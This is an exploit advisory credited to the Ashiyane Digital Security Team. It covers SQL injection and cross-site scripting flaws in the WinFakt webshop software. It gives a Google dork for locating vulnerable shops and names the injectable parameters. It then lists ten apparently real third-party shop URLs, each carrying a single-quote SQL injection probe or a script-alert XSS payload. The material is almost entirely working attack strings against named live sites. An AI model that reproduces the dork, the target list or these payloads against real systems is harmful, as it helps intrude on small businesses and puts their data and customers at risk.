Winfakt Cross Site Scripting / SQL Injection

`#********************************************************************************  
# Exploit Title : winfakt Sql injection / Cross site scripting  
Vulnerabilites  
#  
# Exploit Author : Ashiyane Digital Security Team  
#  
# Software Link : http://www.winfakt.be  
#  
# Tested on: Windows 7 , Linux  
#  
# Google Dork : intext:"Powered by WinFakt! webwinkel"  
#  
# Date: 2013/09/10  
#  
--------------------------------------------------------------------  
# Exploit 1 : Sql Injection  
#  
# Location : [Target]/index.asp?G=&M=[Sql Injection]  
#  
#  
# Proof:  
#  
# http://shop.airbagservice.nl/index.asp?G=&M=1'  
#  
# http://shop.chameleon.be/index.asp?G=&M=1'  
#  
# http://shop.dvscomputers.be/index.asp?G=&M=1'  
#  
# http://shop.flashtoys.be/index.asp?G=&M=1'  
#  
# http://www.electroplus-bvba.com/index.asp?G=&M=1'  
#  
# http://webshop.tngcomputers.be/index.asp?G=&M=1'  
#  
# http://shop.tmediashop.be/index.asp?G=&M=1'  
#  
# http://www.snackbareverything.be/index.asp?G=&M=1'  
#  
# http://shop.wdmultimedia.be/index.asp?G=&M=1'  
#  
# http://webshop.poweron.be/index.asp?G=&M=1'  
--------------------------------------------------------------------  
# Exploit 2 : Cross site scripting  
#  
# Location : [Target]/index.asp?search=[xss]  
#  
#  
# Proof:  
#  
# http://shop.airbagservice.nl/index.asp?search=<script>alert(1);</script>  
#  
# http://shop.chameleon.be/index.asp?search=<script>alert(1);</script>  
#  
# http://shop.dvscomputers.be/index.asp?search=<script>alert(1);</script>  
#  
# http://shop.flashtoys.be/index.asp?search=<script>alert(1);</script>  
#  
# http://www.electroplus-bvba.com/index.asp?search=  
<script>alert(1);</script>  
#  
# http://webshop.tngcomputers.be/index.asp?search=<script>alert(1);</script>  
#  
# http://shop.tmediashop.be/index.asp?search=<script>alert(1);</script>  
#  
# http://www.snackbareverything.be/index.asp?search=  
<script>alert(1);</script>  
#  
# http://shop.wdmultimedia.be/index.asp?search=<script>alert(1);</script>  
#  
# http://webshop.poweron.be/index.asp?search=<script>alert(1);</script>  
#  
######################  
discovered by : ACC3SS  
######################  
`